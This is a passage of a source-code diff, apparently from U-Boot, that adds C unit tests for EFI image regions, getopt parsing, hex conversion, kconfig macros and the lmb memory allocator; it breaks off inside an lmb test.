+ efi_image_region_add(regs, (void *)0x4000,
+ (void *)0x4e00, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x1f00,
+ (void *)0x2001, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x10ff,
+ (void *)0x11ff, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x0000,
+ (void *)0x6000, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x3100,
+ (void *)0x0e00, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x3200,
+ (void *)0x0e00, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_INVALID_PARAMETER,
+ efi_image_region_add(regs, (void *)0x3200,
+ (void *)0x0d00, 0));
+ ut_asserteq(4, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x1f00,
+ (void *)0x2000, 0));
+ ut_asserteq(5, regs->num);
+ ut_asserteq_64(EFI_SUCCESS,
+ efi_image_region_add(regs, (void *)0x4000,
+ (void *)0x4000, 0));
+ ut_asserteq(6, regs->num);
+ ut_asserteq_64(EFI_OUT_OF_RESOURCES,
+ efi_image_region_add(regs, (void *)0x6000,
+ (void *)0x0100, 0));
+ ut_asserteq(6, regs->num);
+
+ ut_asserteq_ptr((void *)0x1000, regs->reg[0].data);
+ ut_asserteq(0x0f00, regs->reg[0].size);
+
+ ut_asserteq_ptr((void *)0x1f00, regs->reg[1].data);
+ ut_asserteq(0x0100, regs->reg[1].size);
+
+ ut_asserteq_ptr((void *)0x2000, regs->reg[2].data);
+ ut_asserteq(0x1100, regs->reg[2].size);
+
+ ut_asserteq_ptr((void *)0x3100, regs->reg[3].data);
+ ut_asserteq(0x0f00, regs->reg[3].size);
+
+ ut_asserteq_ptr((void *)0x4000, regs->reg[4].data);
+ ut_asserteq(0x0000, regs->reg[4].size);
+
+ ut_asserteq_ptr((void *)0x4000, regs->reg[5].data);
+ ut_asserteq(0x0e00, regs->reg[5].size);
+
+ free(regs);
+
+ return 0;
+}
+
+LIB_TEST(lib_test_efi_image_region_sort, 0);
diff --git a/test/lib/getopt.c b/test/lib/getopt.c
new file mode 100644
index 00000000000..388a076200b
--- /dev/null
+++ b/test/lib/getopt.c
@@ -0,0 +1,122 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Sean Anderson <seanga2@gmail.com>
+ *
+ * Portions of these tests were inspired by glibc's posix/bug-getopt1.c and
+ * posix/tst-getopt-cancel.c
+ */
+
+#include <getopt.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int do_test_getopt(struct unit_test_state *uts, int line,
+ struct getopt_state *gs, const char *optstring,
+ int args, char *argv[], int expected_count,
+ int expected[])
+{
+ int opt;
+
+ getopt_init_state(gs);
+ for (int i = 0; i < expected_count; i++) {
+ opt = getopt_silent(gs, args, argv, optstring);
+ if (expected[i] != opt) {
+ /*
+ * Fudge the line number so we can tell which test
+ * failed
+ */
+ ut_failf(uts, __FILE__, line, __func__,
+ "expected[i] == getopt()",
+ "Expected '%c' (%d) with i=%d, got '%c' (%d)",
+ expected[i], expected[i], i, opt, opt);
+ return CMD_RET_FAILURE;
+ }
+ }
+
+ opt = getopt_silent(gs, args, argv, optstring);
+ if (opt != -1) {
+ ut_failf(uts, __FILE__, line, __func__,
+ "getopt() != -1",
+ "Expected -1, got '%c' (%d)", opt, opt);
+ return CMD_RET_FAILURE;
+ }
+
+ return 0;
+}
+
+#define test_getopt(optstring, argv, expected) do { \
+ int ret = do_test_getopt(uts, __LINE__, &gs, optstring, \
+ ARRAY_SIZE(argv) - 1, argv, \
+ ARRAY_SIZE(expected), expected); \
+ if (ret) \
+ return ret; \
+} while (0)
+
+static int lib_test_getopt(struct unit_test_state *uts)
+{
+ struct getopt_state gs;
+
+ /* Happy path */
+ test_getopt("ab:c",
+ ((char *[]){ "program", "-cb", "x", "-a", "foo", 0 }),
+ ((int []){ 'c', 'b', 'a' }));
+ ut_asserteq(4, gs.index);
+
+ /* Make sure we pick up the optional argument */
+ test_getopt("a::b:c",
+ ((char *[]){ "program", "-cbx", "-a", "foo", 0 }),
+ ((int []){ 'c', 'b', 'a' }));
+ ut_asserteq(4, gs.index);
+
+ /* Test required arguments */
+ test_getopt("a:b", ((char *[]){ "program", "-a", 0 }),
+ ((int []){ ':' }));
+ ut_asserteq('a', gs.opt);
+ test_getopt("a:b", ((char *[]){ "program", "-b", "-a", 0 }),
+ ((int []){ 'b', ':' }));
+ ut_asserteq('a', gs.opt);
+
+ /* Test invalid arguments */
+ test_getopt("ab:c", ((char *[]){ "program", "-d", 0 }),
+ ((int []){ '?' }));
+ ut_asserteq('d', gs.opt);
+
+ /* Test arg */
+ test_getopt("a::b:c",
+ ((char *[]){ "program", "-a", 0 }),
+ ((int []){ 'a' }));
+ ut_asserteq(2, gs.index);
+ ut_assertnull(gs.arg);
+
+ test_getopt("a::b:c",
+ ((char *[]){ "program", "-afoo", 0 }),
+ ((int []){ 'a' }));
+ ut_asserteq(2, gs.index);
+ ut_assertnonnull(gs.arg);
+ ut_asserteq_str("foo", gs.arg);
+
+ test_getopt("a::b:c",
+ ((char *[]){ "program", "-a", "foo", 0 }),
+ ((int []){ 'a' }));
+ ut_asserteq(3, gs.index);
+ ut_assertnonnull(gs.arg);
+ ut_asserteq_str("foo", gs.arg);
+
+ test_getopt("a::b:c",
+ ((char *[]){ "program", "-bfoo", 0 }),
+ ((int []){ 'b' }));
+ ut_asserteq(2, gs.index);
+ ut_assertnonnull(gs.arg);
+ ut_asserteq_str("foo", gs.arg);
+
+ test_getopt("a::b:c",
+ ((char *[]){ "program", "-b", "foo", 0 }),
+ ((int []){ 'b' }));
+ ut_asserteq(3, gs.index);
+ ut_assertnonnull(gs.arg);
+ ut_asserteq_str("foo", gs.arg);
+
+ return 0;
+}
+LIB_TEST(lib_test_getopt, 0);
diff --git a/test/lib/hexdump.c b/test/lib/hexdump.c
new file mode 100644
index 00000000000..d531a830398
--- /dev/null
+++ b/test/lib/hexdump.c
@@ -0,0 +1,95 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018
+ * Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ */
+
+#include <hexdump.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int lib_test_hex_to_bin(struct unit_test_state *uts)
+{
+ ut_asserteq(0x0, hex_to_bin('0'));
+ ut_asserteq(0x1, hex_to_bin('1'));
+ ut_asserteq(0x2, hex_to_bin('2'));
+ ut_asserteq(0x3, hex_to_bin('3'));
+ ut_asserteq(0x4, hex_to_bin('4'));
+ ut_asserteq(0x5, hex_to_bin('5'));
+ ut_asserteq(0x6, hex_to_bin('6'));
+ ut_asserteq(0x7, hex_to_bin('7'));
+ ut_asserteq(0x8, hex_to_bin('8'));
+ ut_asserteq(0x9, hex_to_bin('9'));
+ ut_asserteq(0xa, hex_to_bin('a'));
+ ut_asserteq(0xb, hex_to_bin('b'));
+ ut_asserteq(0xc, hex_to_bin('c'));
+ ut_asserteq(0xd, hex_to_bin('d'));
+ ut_asserteq(0xe, hex_to_bin('e'));
+ ut_asserteq(0xf, hex_to_bin('f'));
+ ut_asserteq(-1, hex_to_bin('g'));
+
+ return 0;
+}
+
+LIB_TEST(lib_test_hex_to_bin, 0);
+
+static int lib_test_hex2bin(struct unit_test_state *uts)
+{
+ u8 dst[4];
+
+ hex2bin(dst, "649421de", 4);
+ ut_asserteq_mem("\x64\x94\x21\xde", dst, 4);
+ hex2bin(dst, "aa2e7545", 4);
+ ut_asserteq_mem("\xaa\x2e\x75\x45", dst, 4);
+ hex2bin(dst, "75453bc5", 4);
+ ut_asserteq_mem("\x75\x45\x3b\xc5", dst, 4);
+ hex2bin(dst, "a16884c3", 4);
+ ut_asserteq_mem("\xa1\x68\x84\xc3", dst, 4);
+ hex2bin(dst, "156b2e5e", 4);
+ ut_asserteq_mem("\x15\x6b\x2e\x5e", dst, 4);
+ hex2bin(dst, "2e035fff", 4);
+ ut_asserteq_mem("\x2e\x03\x5f\xff", dst, 4);
+ hex2bin(dst, "0ffce99f", 4);
+ ut_asserteq_mem("\x0f\xfc\xe9\x9f", dst, 4);
+ hex2bin(dst, "d3999443", 4);
+ ut_asserteq_mem("\xd3\x99\x94\x43", dst, 4);
+ hex2bin(dst, "91dd87bc", 4);
+ ut_asserteq_mem("\x91\xdd\x87\xbc", dst, 4);
+ hex2bin(dst, "7fec8963", 4);
+ ut_asserteq_mem("\x7f\xec\x89\x63", dst, 4);
+
+ return 0;
+}
+
+LIB_TEST(lib_test_hex2bin, 0);
+
+static int lib_test_bin2hex(struct unit_test_state *uts)
+{
+ char dst[8 + 1] = "\0";
+
+ bin2hex(dst, "\x64\x94\x21\xde", 4);
+ ut_asserteq_str("649421de", dst);
+ bin2hex(dst, "\xaa\x2e\x75\x45", 4);
+ ut_asserteq_str("aa2e7545", dst);
+ bin2hex(dst, "\x75\x45\x3b\xc5", 4);
+ ut_asserteq_str("75453bc5", dst);
+ bin2hex(dst, "\xa1\x68\x84\xc3", 4);
+ ut_asserteq_str("a16884c3", dst);
+ bin2hex(dst, "\x15\x6b\x2e\x5e", 4);
+ ut_asserteq_str("156b2e5e", dst);
+ bin2hex(dst, "\x2e\x03\x5f\xff", 4);
+ ut_asserteq_str("2e035fff", dst);
+ bin2hex(dst, "\x0f\xfc\xe9\x9f", 4);
+ ut_asserteq_str("0ffce99f", dst);
+ bin2hex(dst, "\xd3\x99\x94\x43", 4);
+ ut_asserteq_str("d3999443", dst);
+ bin2hex(dst, "\x91\xdd\x87\xbc", 4);
+ ut_asserteq_str("91dd87bc", dst);
+ bin2hex(dst, "\x7f\xec\x89\x63", 4);
+ ut_asserteq_str("7fec8963", dst);
+
+ return 0;
+}
+
+LIB_TEST(lib_test_bin2hex, 0);
diff --git a/test/lib/kconfig.c b/test/lib/kconfig.c
new file mode 100644
index 00000000000..0c463bb794a
--- /dev/null
+++ b/test/lib/kconfig.c
@@ -0,0 +1,57 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test of linux/kconfig.h macros
+ *
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int lib_test_is_enabled(struct unit_test_state *uts)
+{
+ ulong val;
+
+ ut_asserteq(1, IS_ENABLED(CONFIG_CMDLINE));
+ ut_asserteq(0, IS_ENABLED(CONFIG__UNDEFINED));
+
+ ut_asserteq(1, CONFIG_IS_ENABLED(CMDLINE));
+ ut_asserteq(0, CONFIG_IS_ENABLED(OF_PLATDATA));
+ ut_asserteq(0, CONFIG_IS_ENABLED(_UNDEFINED));
+
+ ut_asserteq(0xb000,
+ IF_ENABLED_INT(CONFIG_BLOBLIST_FIXED, CONFIG_BLOBLIST_ADDR));
+ ut_asserteq(0xb000,
+ CONFIG_IF_ENABLED_INT(BLOBLIST_FIXED, BLOBLIST_ADDR));
+
+ /*
+ * This fails if CONFIG_TEST_KCONFIG_ENABLE is not enabled, since the
+ * value is used. Disable for SPL so that the errors in kconfig_spl.c
+ * are detected, since otherwise a build error when building U-Boot may
+ * cause SPL to not be built.
+ */
+ if (!IS_ENABLED(CONFIG_SANDBOX_SPL) &&
+ IS_ENABLED(CONFIG_TEST_KCONFIG)) {
+ val = IF_ENABLED_INT(CONFIG_TEST_KCONFIG_ENABLE,
+ CONFIG_TEST_KCONFIG_VALUE);
+ printf("value %ld\n", val);
+ }
+
+ /*
+ * This fails if CONFIG_TEST_KCONFIG_ENABLE is not enabled, since the
+ * value is used. Disable for SPL so that the errors in kconfig_spl.c
+ * are detected, since otherwise a build error when building U-Boot may
+ * cause SPL to not be built.
+ */
+ if (!IS_ENABLED(CONFIG_SANDBOX_SPL) &&
+ CONFIG_IS_ENABLED(TEST_KCONFIG)) {
+ val = CONFIG_IF_ENABLED_INT(TEST_KCONFIG_ENABLE,
+ TEST_KCONFIG_VALUE);
+ printf("value2 %ld\n", val);
+ }
+
+ return 0;
+}
+LIB_TEST(lib_test_is_enabled, 0);
diff --git a/test/lib/kconfig_spl.c b/test/lib/kconfig_spl.c
new file mode 100644
index 00000000000..3bd8abdf4b8
--- /dev/null
+++ b/test/lib/kconfig_spl.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test of linux/kconfig.h macros for SPL
+ *
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int lib_test_spl_is_enabled(struct unit_test_state *uts)
+{
+ ulong val;
+
+ ut_asserteq(0, CONFIG_IS_ENABLED(CMDLINE));
+ ut_asserteq(1, CONFIG_IS_ENABLED(OF_PLATDATA));
+ ut_asserteq(0, CONFIG_IS_ENABLED(_UNDEFINED));
+
+ /*
+ * This fails if CONFIG_TEST_KCONFIG_ENABLE is not enabled, since the
+ * value is used.
+ */
+ if (IS_ENABLED(CONFIG_TEST_KCONFIG)) {
+ val = IF_ENABLED_INT(CONFIG_TEST_KCONFIG_ENABLE,
+ CONFIG_TEST_KCONFIG_VALUE);
+ printf("value %ld\n", val);
+ }
+
+ /*
+ * This fails if CONFIG_TEST_KCONFIG_ENABLE is not enabled, since the
+ * value is used.
+ */
+ if (CONFIG_IS_ENABLED(TEST_KCONFIG)) {
+ val = CONFIG_IF_ENABLED_INT(TEST_KCONFIG_ENABLE,
+ TEST_KCONFIG_VALUE);
+ printf("value2 %ld\n", val);
+ }
+
+ return 0;
+}
+LIB_TEST(lib_test_spl_is_enabled, 0);
diff --git a/test/lib/lmb.c b/test/lib/lmb.c
new file mode 100644
index 00000000000..4b5b6e5e209
--- /dev/null
+++ b/test/lib/lmb.c
@@ -0,0 +1,825 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018 Simon Goldschmidt
+ */
+
+#include <dm.h>
+#include <lmb.h>
+#include <log.h>
+#include <malloc.h>
+#include <dm/test.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static inline bool lmb_is_nomap(struct lmb_property *m)
+{
+ return m->flags & LMB_NOMAP;
+}
+
+static int check_lmb(struct unit_test_state *uts, struct lmb *lmb,
+ phys_addr_t ram_base, phys_size_t ram_size,
+ unsigned long num_reserved,
+ phys_addr_t base1, phys_size_t size1,
+ phys_addr_t base2, phys_size_t size2,
+ phys_addr_t base3, phys_size_t size3)
+{
+ if (ram_size) {
+ ut_asserteq(lmb->memory.cnt, 1);
+ ut_asserteq(lmb->memory.region[0].base, ram_base);
+ ut_asserteq(lmb->memory.region[0].size, ram_size);
+ }
+
+ ut_asserteq(lmb->reserved.cnt, num_reserved);
+ if (num_reserved > 0) {
+ ut_asserteq(lmb->reserved.region[0].base, base1);
+ ut_asserteq(lmb->reserved.region[0].size, size1);
+ }
+ if (num_reserved > 1) {
+ ut_asserteq(lmb->reserved.region[1].base, base2);
+ ut_asserteq(lmb->reserved.region[1].size, size2);
+ }
+ if (num_reserved > 2) {
+ ut_asserteq(lmb->reserved.region[2].base, base3);
+ ut_asserteq(lmb->reserved.region[2].size, size3);
+ }
+ return 0;
+}
+
+#define ASSERT_LMB(lmb, ram_base, ram_size, num_reserved, base1, size1, \
+ base2, size2, base3, size3) \
+ ut_assert(!check_lmb(uts, lmb, ram_base, ram_size, \
+ num_reserved, base1, size1, base2, size2, base3, \
+ size3))
+
+/*
+ * Test helper function that reserves 64 KiB somewhere in the simulated RAM and
+ * then does some alloc + free tests.
+ */
+static int test_multi_alloc(struct unit_test_state *uts, const phys_addr_t ram,
+ const phys_size_t ram_size, const phys_addr_t ram0,
+ const phys_size_t ram0_size,
+ const phys_addr_t alloc_64k_addr)
+{
+ const phys_addr_t ram_end = ram + ram_size;
+ const phys_addr_t alloc_64k_end = alloc_64k_addr + 0x10000;
+
+ struct lmb lmb;
+ long ret;
+ phys_addr_t a, a2, b, b2, c, d;
+
+ /* check for overflow */
+ ut_assert(ram_end == 0 || ram_end > ram);
+ ut_assert(alloc_64k_end > alloc_64k_addr);
+ /* check input addresses + size */
+ ut_assert(alloc_64k_addr >= ram + 8);
+ ut_assert(alloc_64k_end <= ram_end - 8);
+
+ lmb_init(&lmb);
+
+ if (ram0_size) {
+ ret = lmb_add(&lmb, ram0, ram0_size);
+ ut_asserteq(ret, 0);
+ }
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ if (ram0_size) {
+ ut_asserteq(lmb.memory.cnt, 2);
+ ut_asserteq(lmb.memory.region[0].base, ram0);
+ ut_asserteq(lmb.memory.region[0].size, ram0_size);
+ ut_asserteq(lmb.memory.region[1].base, ram);
+ ut_asserteq(lmb.memory.region[1].size, ram_size);
+ } else {
+ ut_asserteq(lmb.memory.cnt, 1);
+ ut_asserteq(lmb.memory.region[0].base, ram);
+ ut_asserteq(lmb.memory.region[0].size, ram_size);
+ }
+
+ /* reserve 64KiB somewhere */
+ ret = lmb_reserve(&lmb, alloc_64k_addr, 0x10000);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 1, alloc_64k_addr, 0x10000,
+ 0, 0, 0, 0);
+
+ /* allocate somewhere, should be at the end of RAM */
+ a = lmb_alloc(&lmb, 4, 1);
+ ut_asserteq(a, ram_end - 4);
+ ASSERT_LMB(&lmb, 0, 0, 2, alloc_64k_addr, 0x10000,
+ ram_end - 4, 4, 0, 0);
+ /* alloc below end of reserved region -> below reserved region */
+ b = lmb_alloc_base(&lmb, 4, 1, alloc_64k_end);
+ ut_asserteq(b, alloc_64k_addr - 4);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 4, 0x10000 + 4, ram_end - 4, 4, 0, 0);
+
+ /* 2nd time */
+ c = lmb_alloc(&lmb, 4, 1);
+ ut_asserteq(c, ram_end - 8);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 4, 0x10000 + 4, ram_end - 8, 8, 0, 0);
+ d = lmb_alloc_base(&lmb, 4, 1, alloc_64k_end);
+ ut_asserteq(d, alloc_64k_addr - 8);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 8, 0x10000 + 8, ram_end - 8, 8, 0, 0);
+
+ ret = lmb_free(&lmb, a, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 8, 0x10000 + 8, ram_end - 8, 4, 0, 0);
+ /* allocate again to ensure we get the same address */
+ a2 = lmb_alloc(&lmb, 4, 1);
+ ut_asserteq(a, a2);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 8, 0x10000 + 8, ram_end - 8, 8, 0, 0);
+ ret = lmb_free(&lmb, a2, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 8, 0x10000 + 8, ram_end - 8, 4, 0, 0);
+
+ ret = lmb_free(&lmb, b, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 3,
+ alloc_64k_addr - 8, 4, alloc_64k_addr, 0x10000,
+ ram_end - 8, 4);
+ /* allocate again to ensure we get the same address */
+ b2 = lmb_alloc_base(&lmb, 4, 1, alloc_64k_end);
+ ut_asserteq(b, b2);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 8, 0x10000 + 8, ram_end - 8, 4, 0, 0);
+ ret = lmb_free(&lmb, b2, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 3,
+ alloc_64k_addr - 8, 4, alloc_64k_addr, 0x10000,
+ ram_end - 8, 4);
+
+ ret = lmb_free(&lmb, c, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 2,
+ alloc_64k_addr - 8, 4, alloc_64k_addr, 0x10000, 0, 0);
+ ret = lmb_free(&lmb, d, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, 0, 0, 1, alloc_64k_addr, 0x10000,
+ 0, 0, 0, 0);
+
+ if (ram0_size) {
+ ut_asserteq(lmb.memory.cnt, 2);
+ ut_asserteq(lmb.memory.region[0].base, ram0);
+ ut_asserteq(lmb.memory.region[0].size, ram0_size);
+ ut_asserteq(lmb.memory.region[1].base, ram);
+ ut_asserteq(lmb.memory.region[1].size, ram_size);
+ } else {
+ ut_asserteq(lmb.memory.cnt, 1);
+ ut_asserteq(lmb.memory.region[0].base, ram);
+ ut_asserteq(lmb.memory.region[0].size, ram_size);
+ }
+
+ return 0;
+}
+
+static int test_multi_alloc_512mb(struct unit_test_state *uts,
+ const phys_addr_t ram)
+{
+ return test_multi_alloc(uts, ram, 0x20000000, 0, 0, ram + 0x10000000);
+}
+
+static int test_multi_alloc_512mb_x2(struct unit_test_state *uts,
+ const phys_addr_t ram,
+ const phys_addr_t ram0)
+{
+ return test_multi_alloc(uts, ram, 0x20000000, ram0, 0x20000000,
+ ram + 0x10000000);
+}
+
+/* Create a memory region with one reserved region and allocate */
+static int lib_test_lmb_simple(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 1GiB */
+ ret = test_multi_alloc_512mb(uts, 0x40000000);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 1.5GiB */
+ return test_multi_alloc_512mb(uts, 0xE0000000);
+}
+LIB_TEST(lib_test_lmb_simple, 0);
+
+/* Create two memory regions with one reserved region and allocate */
+static int lib_test_lmb_simple_x2(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 2GiB and 1 GiB */
+ ret = test_multi_alloc_512mb_x2(uts, 0x80000000, 0x40000000);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 3.5GiB and 1 GiB */
+ return test_multi_alloc_512mb_x2(uts, 0xE0000000, 0x40000000);
+}
+LIB_TEST(lib_test_lmb_simple_x2, 0);
+
+/* Simulate 512 MiB RAM, allocate some blocks that fit/don't fit */
+static int test_bigblock(struct unit_test_state *uts, const phys_addr_t ram)
+{
+ const phys_size_t ram_size = 0x20000000;
+ const phys_size_t big_block_size = 0x10000000;
+ const phys_addr_t ram_end = ram + ram_size;
+ const phys_addr_t alloc_64k_addr = ram + 0x10000000;
+ struct lmb lmb;
+ long ret;
+ phys_addr_t a, b;
+
+ /* check for overflow */
+ ut_assert(ram_end == 0 || ram_end > ram);
+
+ lmb_init(&lmb);
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ /* reserve 64KiB in the middle of RAM */
+ ret = lmb_reserve(&lmb, alloc_64k_addr, 0x10000);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, alloc_64k_addr, 0x10000,
+ 0, 0, 0, 0);
+
+ /* allocate a big block, should be below reserved */
+ a = lmb_alloc(&lmb, big_block_size, 1);
+ ut_asserteq(a, ram);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, a,
+ big_block_size + 0x10000, 0, 0, 0, 0);
+ /* allocate 2nd big block */
+ /* This should fail, printing an error */
+ b = lmb_alloc(&lmb, big_block_size, 1);
+ ut_asserteq(b, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, a,
+ big_block_size + 0x10000, 0, 0, 0, 0);
+
+ ret = lmb_free(&lmb, a, big_block_size);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, alloc_64k_addr, 0x10000,
+ 0, 0, 0, 0);
+
+ /* allocate too big block */
+ /* This should fail, printing an error */
+ a = lmb_alloc(&lmb, ram_size, 1);
+ ut_asserteq(a, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, alloc_64k_addr, 0x10000,
+ 0, 0, 0, 0);
+
+ return 0;
+}
+
+static int lib_test_lmb_big(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 1GiB */
+ ret = test_bigblock(uts, 0x40000000);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 1.5GiB */
+ return test_bigblock(uts, 0xE0000000);
+}
+LIB_TEST(lib_test_lmb_big, 0);
+
+/* Simulate 512 MiB RAM, allocate a block without previous reservation */
+static int test_noreserved(struct unit_test_state *uts, const phys_addr_t ram,
+ const phys_addr_t alloc_size, const ulong align)
+{
+ const phys_size_t ram_size = 0x20000000;
+ const phys_addr_t ram_end = ram + ram_size;
+ struct lmb lmb;
+ long ret;
+ phys_addr_t a, b;
+ const phys_addr_t alloc_size_aligned = (alloc_size + align - 1) &
+ ~(align - 1);
+
+ /* check for overflow */
+ ut_assert(ram_end == 0 || ram_end > ram);
+
+ lmb_init(&lmb);
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 0, 0, 0, 0, 0, 0, 0);
+
+ /* allocate a block */
+ a = lmb_alloc(&lmb, alloc_size, align);
+ ut_assert(a != 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram + ram_size - alloc_size_aligned,
+ alloc_size, 0, 0, 0, 0);
+ /* allocate another block */
+ b = lmb_alloc(&lmb, alloc_size, align);
+ ut_assert(b != 0);
+ if (alloc_size == alloc_size_aligned) {
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram + ram_size -
+ (alloc_size_aligned * 2), alloc_size * 2, 0, 0, 0,
+ 0);
+ } else {
+ ASSERT_LMB(&lmb, ram, ram_size, 2, ram + ram_size -
+ (alloc_size_aligned * 2), alloc_size, ram + ram_size
+ - alloc_size_aligned, alloc_size, 0, 0);
+ }
+ /* and free them */
+ ret = lmb_free(&lmb, b, alloc_size);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram + ram_size - alloc_size_aligned,
+ alloc_size, 0, 0, 0, 0);
+ ret = lmb_free(&lmb, a, alloc_size);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 0, 0, 0, 0, 0, 0, 0);
+
+ /* allocate a block with base*/
+ b = lmb_alloc_base(&lmb, alloc_size, align, ram_end);
+ ut_assert(a == b);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram + ram_size - alloc_size_aligned,
+ alloc_size, 0, 0, 0, 0);
+ /* and free it */
+ ret = lmb_free(&lmb, b, alloc_size);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 0, 0, 0, 0, 0, 0, 0);
+
+ return 0;
+}
+
+static int lib_test_lmb_noreserved(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 1GiB */
+ ret = test_noreserved(uts, 0x40000000, 4, 1);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 1.5GiB */
+ return test_noreserved(uts, 0xE0000000, 4, 1);
+}
+
+LIB_TEST(lib_test_lmb_noreserved, 0);
+
+static int lib_test_lmb_unaligned_size(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 1GiB */
+ ret = test_noreserved(uts, 0x40000000, 5, 8);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 1.5GiB */
+ return test_noreserved(uts, 0xE0000000, 5, 8);
+}
+LIB_TEST(lib_test_lmb_unaligned_size, 0);
+
+/*
+ * Simulate a RAM that starts at 0 and allocate down to address 0, which must
+ * fail as '0' means failure for the lmb_alloc functions.
+ */
+static int lib_test_lmb_at_0(struct unit_test_state *uts)
+{
+ const phys_addr_t ram = 0;
+ const phys_size_t ram_size = 0x20000000;
+ struct lmb lmb;
+ long ret;
+ phys_addr_t a, b;
+
+ lmb_init(&lmb);
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ /* allocate nearly everything */
+ a = lmb_alloc(&lmb, ram_size - 4, 1);
+ ut_asserteq(a, ram + 4);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, a, ram_size - 4,
+ 0, 0, 0, 0);
+ /* allocate the rest */
+ /* This should fail as the allocated address would be 0 */
+ b = lmb_alloc(&lmb, 4, 1);
+ ut_asserteq(b, 0);
+ /* check that this was an error by checking lmb */
+ ASSERT_LMB(&lmb, ram, ram_size, 1, a, ram_size - 4,
+ 0, 0, 0, 0);
+ /* check that this was an error by freeing b */
+ ret = lmb_free(&lmb, b, 4);
+ ut_asserteq(ret, -1);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, a, ram_size - 4,
+ 0, 0, 0, 0);
+
+ ret = lmb_free(&lmb, a, ram_size - 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 0, 0, 0, 0, 0, 0, 0);
+
+ return 0;
+}
+LIB_TEST(lib_test_lmb_at_0, 0);
+
+/* Check that calling lmb_reserve with overlapping regions fails. */
+static int lib_test_lmb_overlapping_reserve(struct unit_test_state *uts)
+{
+ const phys_addr_t ram = 0x40000000;
+ const phys_size_t ram_size = 0x20000000;
+ struct lmb lmb;
+ long ret;
+
+ lmb_init(&lmb);
+
